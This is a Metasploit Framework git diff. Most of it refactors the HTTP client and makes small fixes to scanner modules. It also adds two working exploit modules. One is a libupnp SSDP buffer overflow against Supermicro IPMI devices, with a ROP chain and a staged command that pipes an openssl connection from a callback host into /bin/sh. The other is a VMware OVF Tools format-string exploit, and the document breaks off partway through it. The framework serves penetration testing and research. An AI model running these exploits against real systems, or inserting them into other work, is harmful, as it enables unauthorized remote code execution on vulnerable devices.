diff --git a/data/gui/msfgui.jar b/data/gui/msfgui.jar index 3fc94594f6..495e0ef217 100755 Binary files a/data/gui/msfgui.jar and b/data/gui/msfgui.jar differ diff --git a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java index b1b7d2c2ac..8b754c1871 100644 --- a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java +++ b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java @@ -260,7 +260,8 @@ public abstract class RpcConnection { // Don't fork cause we'll check if it dies String rpcType = "Basic"; java.util.List args = new java.util.ArrayList(java.util.Arrays.asList(new String[]{ - "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1"})); + "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1", + "-p",Integer.toString(defaultPort)})); if(!defaultSsl) args.add("-S"); if(disableDb) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index d6d3fc68f2..760268a7f7 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -151,27 +151,44 @@ class Client # # Create an arbitrary HTTP request # + # @param opts [Hash] + # @option opts 'agent' [String] User-Agent header value + # @option opts 'basic_auth' [String] Basic-Auth header value + # @option opts 'connection' [String] Connection header value + # @option opts 'cookie' [String] Cookie header value + # @option opts 'data' [String] HTTP data (only useful with some methods, see rfc2616) + # @option opts 'encode' [Bool] URI encode the supplied URI, default: false + # @option opts 'headers' [Hash] HTTP headers, e.g. { "X-MyHeader" => "value" } + # @option opts 'method' [String] HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET + # @option opts 'proto' [String] protocol, default: HTTP + # @option opts 'query' [String] raw query string + # @option opts 'raw_headers' [Hash] HTTP headers + # @option opts 'uri' [String] the URI to request + # @option opts 'version' [String] version of the protocol, default: 1.1 + # @option opts 'vhost' [String] Host header value + # + # @return [Request] def request_raw(opts={}) - c_enc = opts['encode'] || false - c_uri = opts['uri'] || '/' + c_ag = opts['agent'] || config['agent'] + c_auth = opts['basic_auth'] || config['basic_auth'] || '' c_body = opts['data'] || '' + c_conn = opts['connection'] + c_cook = opts['cookie'] || config['cookie'] + c_enc = opts['encode'] || false + c_head = opts['headers'] || config['headers'] || {} + c_host = opts['vhost'] || config['vhost'] || self.hostname c_meth = opts['method'] || 'GET' c_prot = opts['proto'] || 'HTTP' - c_vers = opts['version'] || config['version'] || '1.1' c_qs = opts['query'] - c_ag = opts['agent'] || config['agent'] - c_cook = opts['cookie'] || config['cookie'] - c_host = opts['vhost'] || config['vhost'] || self.hostname - c_head = opts['headers'] || config['headers'] || {} c_rawh = opts['raw_headers']|| config['raw_headers'] || '' - c_conn = opts['connection'] - c_auth = opts['basic_auth'] || config['basic_auth'] || '' + c_uri = opts['uri'] || '/' + c_vers = opts['version'] || config['version'] || '1.1' # An agent parameter was specified, but so was a header, prefer the header if c_ag and c_head.keys.map{|x| x.downcase }.include?('user-agent') c_ag = nil end - + uri = set_uri(c_uri) req = '' @@ -191,7 +208,6 @@ class Client req << set_host_header(c_host) req << set_agent_header(c_ag) - if (c_auth.length > 0) req << set_basic_auth_header(c_auth) end @@ -201,53 +217,45 @@ class Client req << set_extra_headers(c_head) req << set_raw_headers(c_rawh) req << set_body(c_body) - - {:string => req , :opts => opts} + + request = Request.new + request.parse(req) + request.options = opts + + request end # # Create a CGI compatible request # - # Options: - # - agent: User-Agent header value - # - basic_auth: Basic-Auth header value - # - connection: Connection header value - # - cookie: Cookie header value - # - ctype: Content-Type header value, default: +application/x-www-form-urlencoded+ - # - data: HTTP data (only useful with some methods, see rfc2616) - # - encode: URI encode the supplied URI, default: false - # - encode_params: URI encode the GET or POST variables (names and values), default: true - # - headers: HTTP headers as a hash, e.g. { "X-MyHeader" => "value" } - # - method: HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET - # - proto: protocol, default: HTTP - # - query: raw query string - # - raw_headers: HTTP headers as a hash - # - uri: the URI to request - # - vars_get: GET variables as a hash to be translated into a query string - # - vars_post: POST variables as a hash to be translated into POST data - # - version: version of the protocol, default: 1.1 - # - vhost: Host header value + # @param (see #request_raw) + # @option opts (see #request_raw) + # @option opts 'ctype' [String] Content-Type header value, default: +application/x-www-form-urlencoded+ + # @option opts 'encode_params' [Bool] URI encode the GET or POST variables (names and values), default: true + # @option opts 'vars_get' [Hash] GET variables as a hash to be translated into a query string + # @option opts 'vars_post' [Hash] POST variables as a hash to be translated into POST data # + # @return [Request] def request_cgi(opts={}) + c_ag = opts['agent'] || config['agent'] + c_body = opts['data'] || '' + c_cgi = opts['uri'] || '/' + c_conn = opts['connection'] + c_cook = opts['cookie'] || config['cookie'] c_enc = opts['encode'] || false c_enc_p = (opts['encode_params'] == true or opts['encode_params'].nil? ? true : false) - c_cgi = opts['uri'] || '/' - c_body = opts['data'] || '' - c_meth = opts['method'] || 'GET' - c_prot = opts['proto'] || 'HTTP' - c_vers = opts['version'] || config['version'] || '1.1' - c_qs = opts['query'] || '' - c_varg = opts['vars_get'] || {} - c_varp = opts['vars_post'] || {} c_head = opts['headers'] || config['headers'] || {} + c_host = opts['vhost'] || config['vhost'] + c_meth = opts['method'] || 'GET' + c_path = opts['path_info'] + c_prot = opts['proto'] || 'HTTP' + c_qs = opts['query'] || '' c_rawh = opts['raw_headers'] || config['raw_headers'] || '' c_type = opts['ctype'] || 'application/x-www-form-urlencoded' - c_ag = opts['agent'] || config['agent'] - c_cook = opts['cookie'] || config['cookie'] - c_host = opts['vhost'] || config['vhost'] - c_conn = opts['connection'] - c_path = opts['path_info'] + c_varg = opts['vars_get'] || {} + c_varp = opts['vars_post'] || {} + c_vers = opts['version'] || config['version'] || '1.1' uri = set_cgi(c_cgi) qstr = c_qs @@ -264,7 +272,7 @@ class Client c_varg.each_pair do |var,val| qstr << '&' if qstr.length > 0 - qstr << (c_enc_p ? set_encode_uri(var) : var) + qstr << (c_enc_p ? set_encode_uri(var) : var) qstr << '=' qstr << (c_enc_p ? set_encode_uri(val) : val) end @@ -315,12 +323,19 @@ class Client req << set_raw_headers(c_rawh) req << set_body(pstr) - {:string => req , :opts => opts} + request = Request.new + request.parse(req) + request.options = opts + + request end # # Connects to the remote server if possible. # + # @param t [Fixnum] Timeout + # @see Rex::Socket::Tcp.create + # @return [Rex::Socket::Tcp] def connect(t = -1) # If we already have a connection and we aren't pipelining, close it. if (self.conn) @@ -360,28 +375,29 @@ class Client # # Sends a request and gets a response back - # If the request is a 401, and we have creds, it will attempt to - # complete authentication and return the final response + # + # If the request is a 401, and we have creds, it will attempt to complete + # authentication and return the final response # def send_recv(req, t = -1, persist=false) - opts = req[:opts] - req = req[:string] res = _send_recv(req,t,persist) if res and res.code == 401 and res.headers['WWW-Authenticate'] and have_creds? - res = send_auth(res, opts, t, persist) + res = send_auth(res, req.options, t, persist) end res end # # Transmit an HTTP request and receive the response - # If persist is set, then the request will attempt - # to reuse an existing connection. # + # If persist is set, then the request will attempt to reuse an existing + # connection. + # + # Call this directly instead of {#send_recv} if you don't want automatic + # authentication handling. + # + # @return [Response] def _send_recv(req, t = -1, persist=false) - if req.kind_of? Hash and req[:string] - req = req[:string] - end @pipeline = persist send_request(req, t) res = read_response(t) @@ -392,12 +408,14 @@ class Client # # Send an HTTP request to the server # + # @param req [Request,#to_s] The request to send + # @param t (see #connect) def send_request(req, t = -1) connect(t) conn.put(req.to_s) end - # Validates that the client has creds + # Validates that the client has creds def have_creds? !(self.username.nil?) && self.username != '' end @@ -420,7 +438,7 @@ class Client else opts['headers'] = { 'Authorization' => basic_auth_header(self.username,self.password)} end - + req = request_cgi(opts) res = _send_recv(req,t,persist) return res @@ -628,7 +646,7 @@ class Client opts['password'] ||= self.password.to_s if opts['provider'] and opts['provider'].include? 'Negotiate' - provider = "Negotiate " + provider = "Negotiate " else provider = 'NTLM ' end diff --git a/lib/rex/proto/http/request.rb b/lib/rex/proto/http/request.rb index 45d13b2bae..af88fdcb68 100644 --- a/lib/rex/proto/http/request.rb +++ b/lib/rex/proto/http/request.rb @@ -48,6 +48,8 @@ class Request < Packet end end + attr_accessor :options + # # Initializes an instance of an HTTP request with the supplied method, URI, # and protocol. diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index 311bb83896..632a991c0f 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary :category => "web", :method => "GET" }) - + loot = store_loot("lfi.data","text/plain",rhost, res.body,file) vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}") elsif res and res.code @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary pass = datastore['PASSWORD'] vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") - + #test login begin res = send_request_cgi({ diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index 900b8f3313..8eb9e1ce59 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -19,7 +19,10 @@ class Metasploit3 < Msf::Auxiliary This module attempts to identify Ruby on Rails instances vulnerable to an arbitrary object instantiation flaw in the XML request processor. }, - 'Author' => 'hdm', + 'Author' => [ + 'hdm', #author + 'jjarmoc' #improvements + ], 'License' => MSF_LICENSE, 'References' => [ @@ -29,7 +32,8 @@ class Metasploit3 < Msf::Auxiliary )) register_options([ - OptString.new('URIPATH', [true, "The URI to test", "/"]) + OptString.new('URIPATH', [true, "The URI to test", "/"]), + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]), ], self.class) end @@ -37,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary odata = %Q^\n^ res = send_request_cgi({ 'uri' => datastore['URIPATH'] || "/", - 'method' => 'POST', + 'method' => datastore['HTTP_METHOD'], 'ctype' => 'application/xml', 'data' => odata }, 25) @@ -46,29 +50,35 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) res1 = send_probe("string", "hello") - res2 = send_probe("yaml", "--- !ruby/object:Time {}\n") - res3 = send_probe("yaml", "--- !ruby/object:\x00") unless res1 vprint_status("#{rhost}:#{rport} No reply to the initial XML request") return end + if res1.code.to_s =~ /^[5]/ + vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH") + return + end + + res2 = send_probe("yaml", "--- !ruby/object:Time {}\n") + unless res2 vprint_status("#{rhost}:#{rport} No reply to the initial YAML probe") return end + res3 = send_probe("yaml", "--- !ruby/object:\x00") + unless res3 vprint_status("#{rhost}:#{rport} No reply to the second YAML probe") return end - if res1.code.to_s =~ /^[45]/ - vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH") - end + vprint_status("Probe response codes: #{res1.code} / #{res2.code} / #{res3.code}") - if res2.code.to_s =~ /^[23]/ and res3.code != res2.code and res3.code != 200 + + if (res2.code == res1.code) and (res3.code != res2.code) and (res3.code != 200) print_good("#{rhost}:#{rport} is likely vulnerable due to a #{res3.code} reply for invalid YAML") report_vuln({ :host => rhost, @@ -79,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary :refs => self.references }) else - vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH must be set") + vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH & HTTP_METHOD must be set") end end diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb index b2e36eaefa..3201f3f340 100644 --- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary end - def get_ppooe_credentials(conf) + def get_pppoe_credentials(conf) user = "" password = "" @@ -208,7 +208,7 @@ class Metasploit3 < Msf::Auxiliary get_ftp_credentials(conf) get_dvr_credentials(conf) get_ddns_credentials(conf) - get_ppooe_credentials(conf) + get_pppoe_credentials(conf) dvr_name = "" if res.body =~ /DVR_NAME=(.*)/ diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb index fba5a396e7..4899016978 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary "ST:upnp:rootdevice\r\n" + "Man:\"ssdp:discover\"\r\n" + "MX:3\r\n" + - "\r\n\r\n" # Non-standard, but helps + "\r\n" end def scanner_prescan(batch) @@ -144,14 +144,14 @@ class Metasploit3 < Msf::Auxiliary } } - if data =~ /^Server:[\s]*(.*)/i + if data =~ /^Server:[\s]*(.*)/mi @results[skey][:info][:server] = $1.strip end ssdp_host = nil ssdp_port = 80 location_string = '' - if data =~ /^Location:[\s]*(.*)/i + if data =~ /^Location:[\s]*(.*)/mi location_string = $1 @results[skey][:info][:location] = $1.strip if location_string[/(https?):\x2f\x2f([^\x5c\x2f]+)/] @@ -168,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary end end - if data =~ /^USN:[\s]*(.*)/i + if data =~ /^USN:[\s]*(.*)/mi @results[skey][:info][:usn] = $1.strip end diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index 4066d047fe..6fafba24d9 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -55,8 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) - + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) ], self.class) end diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index 8743f76106..e5e5311505 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -53,8 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(80), OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), - OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) - + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]) ], self.class) register_evasion_options( diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb index fb3f1693f9..90ebfa34a7 100644 --- a/modules/exploits/multi/misc/pbot_exec.rb +++ b/modules/exploits/multi/misc/pbot_exec.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'evilcry', # pbot analysis' 'Jay Turla', # pbot analysis - '@bwallHatesTwits', # PoC + 'bwall', # aka @bwallHatesTwits, PoC 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb new file mode 100644 index 0000000000..ac7286c9b0 --- /dev/null +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -0,0 +1,349 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution', + 'Description' => %q{ + This module exploits a buffer overflow in the unique_service_name() + function of libupnp's SSDP processor. The libupnp library is used across + thousands of devices and is referred to as the Intel SDK for UPnP + Devices or the Portable SDK for UPnP Devices. + + Due to size limitations on many devices, this exploit uses a separate TCP + listener to stage the real payload. + }, + 'Author' => [ + 'hdm', # Exploit dev for Supermicro IPMI + 'Alex Eubanks ', # Exploit dev for Supermicro IPMI + 'Richard Harman ' # Binaries, system info, testing for Supermicro IPMI + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-5958' ], + [ 'US-CERT-VU', '922681' ], + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Payload' => + { +# +# # The following BadChars do not apply since we stage the payload +# # through a secondary connection. This is just for reference. +# +# 'BadChars' => +# # Bytes 0-8 are not allowed +# [*(0..8)].pack("C*") + +# # 0x09, 0x0a, 0x0d are allowed +# "\x0b\x0c\x0e\x0f" + +# # All remaining bytes up to space are restricted +# [*(0x10..0x1f)].pack("C*") + +# # Also not allowed +# "\x7f\x3a" + +# # Breaks our string quoting +# "\x22", + + # Unlimited since we stage this over a secondary connection + 'Space' => 8000, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + # specific payloads vary widely by device (openssl for IPMI, etc) + } + }, + 'Targets' => + [ + + [ "Automatic", { } ], + + # + # ROP targets are difficult to represent in the hash, use callbacks instead + # + [ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", { + + # The callback handles all target-specific settings + :callback => :target_supermicro_ipmi_131, + + # This matches any line of the SSDP M-SEARCH response + :fingerprint => + /Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi + + # + # SSDP response: + # Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1 + # http://192.168.xx.xx:49152/IPMIdevicedesc.xml + # uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice + + # Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03) + + } ], + + [ "Debug Target", { + + # The callback handles all target-specific settings + :callback => :target_debug + + } ] + + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 29 2013')) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(1900), + OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]), + OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ]) + ], self.class) + end + + + def exploit + + configure_socket + + target_info = choose_target + + unless self.respond_to?(target_info[:callback]) + print_error("Invalid target specified: no callback function defined") + return + end + + buffer = self.send(target_info[:callback]) + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:uuid:schemas:device:" + buffer + ":end\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:3\r\n\r\n" + + print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...") + + r = udp_sock.sendto(pkt, rhost, rport, 0) + + 1.upto(5) do + ::IO.select(nil, nil, nil, 1) + break if session_created? + end + + # No handler() support right now + end + + + + # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc + def target_supermicro_ipmi_131 + + # Create a fixed-size buffer for the payload + buffer = Rex::Text.rand_text_alpha(2000) + + # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char() + buffer[0,1] = '"' + buffer[1999,1] = '"' + + # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise + cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) + + # Start a listener + start_listener(true) + + # Figure out the port we picked + cbport = self.service.getsockname[2] + + # Restart the service and use openssl to stage the real payload + # Staged because only ~150 bytes of contiguous data are available before mangling + cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#" + buffer[432, cmd.length] = cmd + + # Adjust $r3 to point from the bottom of the stack back into our buffer + buffer[304,4] = [0x4009daf8].pack("V") # + # 0x4009daf8: add r3, r3, r4, lsl #2 + # 0x4009dafc: ldr r0, [r3, #512] ; 0x200 + # 0x4009db00: pop {r4, r10, pc} + + # The offset (right-shifted by 2 ) to our command string above + buffer[284,4] = [0xfffffe78].pack("V") # + + # Copy $r3 into $r0 + buffer[316,4] = [0x400db0ac].pack("V") + # 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1 + # 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4) + + # Move our stack pointer down so as not to corrupt our payload + buffer[320,4] = [0x400a5568].pack("V") + # 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198 + # 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc} + + # Finally return to system() with $r0 pointing to our string + buffer[141,4] = [0x400add8c].pack("V") + + return buffer +=begin + 00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev + 00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev + 00032000-00055000 rwxp 00000000 00:00 0 [heap] + 40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so + 40015000-40017000 rwxp 00000000 00:00 0 + 4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so + 4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so + 4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so + 4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so + 40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so + 40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so + 40036000-40078000 rwxp 00000000 00:00 0 + 40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so + 40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so + 40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so + 40185000-40187000 rwxp 00000000 00:00 0 + bd600000-bd601000 ---p 00000000 00:00 0 + bd601000-bd800000 rwxp 00000000 00:00 0 + bd800000-bd801000 ---p 00000000 00:00 0 + bd801000-bda00000 rwxp 00000000 00:00 0 + bdc00000-bdc01000 ---p 00000000 00:00 0 + bdc01000-bde00000 rwxp 00000000 00:00 0 + be000000-be001000 ---p 00000000 00:00 0 + be001000-be200000 rwxp 00000000 00:00 0 + be941000-be956000 rwxp 00000000 00:00 0 [stack] +=end + + end + + # Generate a buffer that provides a starting point for exploit development + def target_debug + buffer = Rex::Text.pattern_create(2000) + end + + def stage_real_payload(cli) + print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") + cli.put(payload.encoded + "\n") + end + + def start_listener(ssl = false) + + comm = datastore['ListenerComm'] + if comm == "local" + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + self.service = Rex::Socket::TcpServer.create( + 'LocalPort' => datastore['CBPORT'], + 'SSL' => ssl, + 'SSLCert' => datastore['SSLCert'], + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self, + }) + + self.service.on_client_connect_proc = Proc.new { |client| + stage_real_payload(client) + } + + # Start the listening service + self.service.start + end + + # + # Shut down any running services + # + def cleanup + super + if self.service + print_status("Shutting down payload stager listener...") + begin + self.service.deref if self.service.kind_of?(Rex::Service) + if self.service.kind_of?(Rex::Socket) + self.service.close + self.service.stop + end + self.service = nil + rescue ::Exception + end + end + end + + def choose_target + # If the user specified a target, use that one + return self.target unless self.target.name =~ /Automatic/ + + msearch = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:upnp:rootdevice\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:3\r\n\r\n" + + # Fingerprint the service through SSDP + udp_sock.sendto(msearch, rhost, rport, 0) + + res = nil + 1.upto(5) do + res,addr,info = udp_sock.recvfrom(65535, 1.0) + break if res and res =~ /^(Server|Location)/mi + udp_sock.sendto(msearch, rhost, rport, 0) + end + + self.targets.each do |t| + return t if t[:fingerprint] and res =~ t[:fingerprint] + end + + if res and res.to_s.length > 0 + print_status("No target matches this fingerprint") + print_status("") + res.to_s.split("\n").each do |line| + print_status(" #{line.strip}") + end + print_status("") + else + print_status("The system #{rhost} did not reply to our M-SEARCH probe") + end + + fail_with(Exploit::Failure::NoTarget, "No compatible target detected") + end + + # Accessor for our TCP payload stager + attr_accessor :service + + # We need an unconnected socket because SSDP replies often come + # from a different sent port than the one we sent to. This also + # breaks the standard UDP mixin. + def configure_socket + self.udp_sock = Rex::Socket::Udp.create({ + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + }) + add_socket(self.udp_sock) + end + + # + # Required since we aren't using the normal mixins + # + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + # Accessor for our UDP socket + attr_accessor :udp_sock + +end diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb index 0a64ebeae4..e51ecadf6d 100644 --- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Unknown', # 0day found in the wild - '@sn0wfl0w', # initial analysis - '@vicheck', # initial analysis + 'sn0wfl0w', # initial analysis, also @vicheck on twitter 'jduck' # Metasploit module ], 'References' => diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb index cee5f962a6..a7ba46418a 100644 --- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb +++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'unknown', # discovered in the wild - '@yuange1975', # PoC posted to twitter + 'Yuange', # PoC posted to twitter under @yuange1975 'Matteo Memelli', # exploit-db version 'jduck' # Metasploit module ], diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb new file mode 100644 index 0000000000..fa3681ff88 --- /dev/null +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -0,0 +1,134 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => 'VMWare OVF Tools Format String Vulnerability', + 'Description' => %q{ + This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for + Windows. The vulnerability occurs when printing error messages while parsing a + a malformed OVF file. The module has been tested successfully with VMWare OVF Tools + 2.1 on Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jeremy Brown', # Vulnerability discovery + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + [ 'CVE', '2012-3569' ], + [ 'OSVDB', '87117' ], + [ 'BID', '56468' ], + [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ] + ], + 'Payload' => + { + 'DisableNops' => true, + 'BadChars' => + (0x00..0x08).to_a.pack("C*") + + "\x0b\x0c\x0e\x0f" + + (0x10..0x1f).to_a.pack("C*") + + (0x80..0xff).to_a.pack("C*") + + "\x22", + 'StackAdjustment' => -3500, + 'PrependEncoder' => "\x54\x59", # push esp # pop ecx + 'EncoderOptions' => + { + 'BufferRegister' => 'ECX', + 'BufferOffset' => 6 + } + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + # vmware-ovftool-2.1.0-467744-win-i386.msi + [ 'VMWare OVF Tools 2.1 on Windows XP SP3', + { + 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1 + 'AddrPops' => 98, + 'StackPadding' => 38081, + 'Alignment' => 4096 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 08 2012', + 'DefaultTarget' => 0)) + + end + + def ovf + my_payload = rand_text_alpha(4) # ebp + my_payload << [target.ret].pack("V") # eip # call esp + my_payload << payload.encoded + + fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) + fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 + fs << my_payload + # 65536 => 0x10000 + # 27 => Error message prefix length + fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) + fs << "%08x" * target['AddrPops'] # Reach saved EBP + fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 + + ovf_file = <<-EOF + + + + + + + Virtual disk information + + + + A virtual machine + + + EOF + ovf_file + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + + if agent !~ /VMware-client/ or agent !~ /ovfTool/ + print_status("User agent #{agent} not recognized, answering Not Found...") + send_not_found(cli) + end + + if uri =~ /.mf$/ + # The manifest file 